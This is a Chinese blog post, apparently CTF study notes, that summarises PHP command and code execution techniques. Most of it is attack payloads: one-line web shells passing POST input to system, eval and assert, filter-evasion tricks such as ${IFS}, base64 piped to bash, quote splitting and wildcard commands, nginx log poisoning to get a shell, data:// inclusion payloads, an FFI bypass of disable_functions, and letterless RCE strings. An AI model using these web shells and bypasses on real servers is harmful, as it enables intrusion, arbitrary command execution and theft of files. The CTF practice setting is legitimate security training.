总结-命令执行
命令执行
1-system
<?php system($_POST["cmd"]);?>
2-passthru
<?php passthru($_POST["cmd"]);?>
3-exec
<?php echo exec($_POST["cmd"]);?>
//不回显
4-pcntl_exec
<?php
pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>
5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>
//通过shell环境执行命令,将完整的输出以字符串的方式返回
6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>
7-``
<?php echo `whoami`?>
//反引号可以用来在PHP代码中执行系统命令,但是需要echo来执行回显
类似的还有$()
8-
<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end_flush();
?>
//?a=whoami
10-{command,}
代码执行
1-eval
<?php eval($_POST["cmd"]) ?>
2-assert
<?php assert($_POST["cmd"]) ?>
3-call_user_func
<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert¶=phpinfo();
4-create_function
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();
5-array_map
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['func'],$array);
?>
//post:func=phpinfo
管道符
windows 下
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux 下
;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
通配符: * 匹配任意长度任意字符
? 匹配任意单个字符
元字符: IFS 由 < space > 或 < tab >或 < enter > 三者之一组成
CR 由 < enter > 产生
> 重导向标准输出
< 重导向标准输入
{ } 将其内的命令置于 non-named function 中执行,或用在变量替换的界定范围
常见命令:
cat:将文件的内容按正常的顺序打出
tac:将文件进行读取,按逆序打出文件内容
nl:打出文件内容的同时给每行加了行号
more:以一页一页的显示方便使用者逐页阅读
less:类似于more但必more更具有弹性
vi:编辑器
vim:编辑器
grep:命令用于查找文件里符合条件的字符串
cp
mv
绕过
空格绕过
${IFS}
{IFS}$9
$IFS$9
重定向符:<>(但是不支持后面跟通配符)
水平制表符%09
%0a 回车
%0d换行
命令或字符绕过
1.变量拼接:
a=c;b=at;c=flag;$a$b $c
2.base64编码绕过:
使用反引号包含base64解码后的命令
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d
将base64解码后的命令通过管道符传递给bash
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
3.单引号,双引号,反斜杠,$1
ca''t fla''g.php
cat""t fla""g.php
ca\t fla\g.php
ca$1t fl$1ag.p$1hp
4.利用已存在的资源:
从已有的文件或者环境变量中获得相应的字符。
例如:bash内置变量
5.通配符 ? *
ca? fla?.?hp
cat f*
6.参数逃逸
eval一个参数来逃逸,正则匹配时对c参数进行了限制:
?c=eval($_GET[x]);&x=phpinfo();
7.nginx日志文件写入shell
在User-Agent参数里写入一句话,访问nginx日志文件 getshell
/var/log/nginx/access.log以 及/var/log/nginx/error.log
8.配合文件包含
?c=data://text/plain,<?php system('tac f*?')?>
短标签 <?= ?>相当于<?php echo' ' ?>
9.;被过滤可以考虑使用?>
读取目录:
var_dump(scandir("/"));
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
读取文件:
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
无数字、字母进行异或
生成异或的结果之后用脚本跑
%0a绕过黑洞
exit();绕过缓冲区
glob协议绕过open_basedir
使用mysql的PDO形式利用load_file读取
需要得到flag文件名,知道数据库账号密码
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
}
利用FFI绕过disable_functions(php7.4及以上)
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > /var/www/html/1.txt';
$ffi->system($a);exit();
利用Linux Bash内置变量构造命令
${PWD} /var/www/html
${PWD:~0} l
${PATH} /bin
${PATH:~0} n
payload:${PATH:~A}${PWD:~A}$IFS????.???
无字母RCE
姿势一:使用/usr/bin下的bzip2 +通配符
payload:?c=/???/???/????2 ????????
`?c=/usr/bin/bzip2 flag.php`
将flag.php打包后再访问/flag.php.bz2 解压得到flag.php
姿势二:使用/bin/base64 flag.php 对flag.phpbase64加密后输出
payload:?c=/???/????64 ????????
姿势三:通过上传文件后修改post包内容然后用. 来执行文件内脚本 内容来达到rce目的
姿势四:利用shell里面的$(())为0的特性,结合取反 只能构造出数字
总结没有详细复现过程
参考文章:
本文作者:Arreb0_1
本文链接:https://www.cnblogs.com/Arreb0-1/p/16027375.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步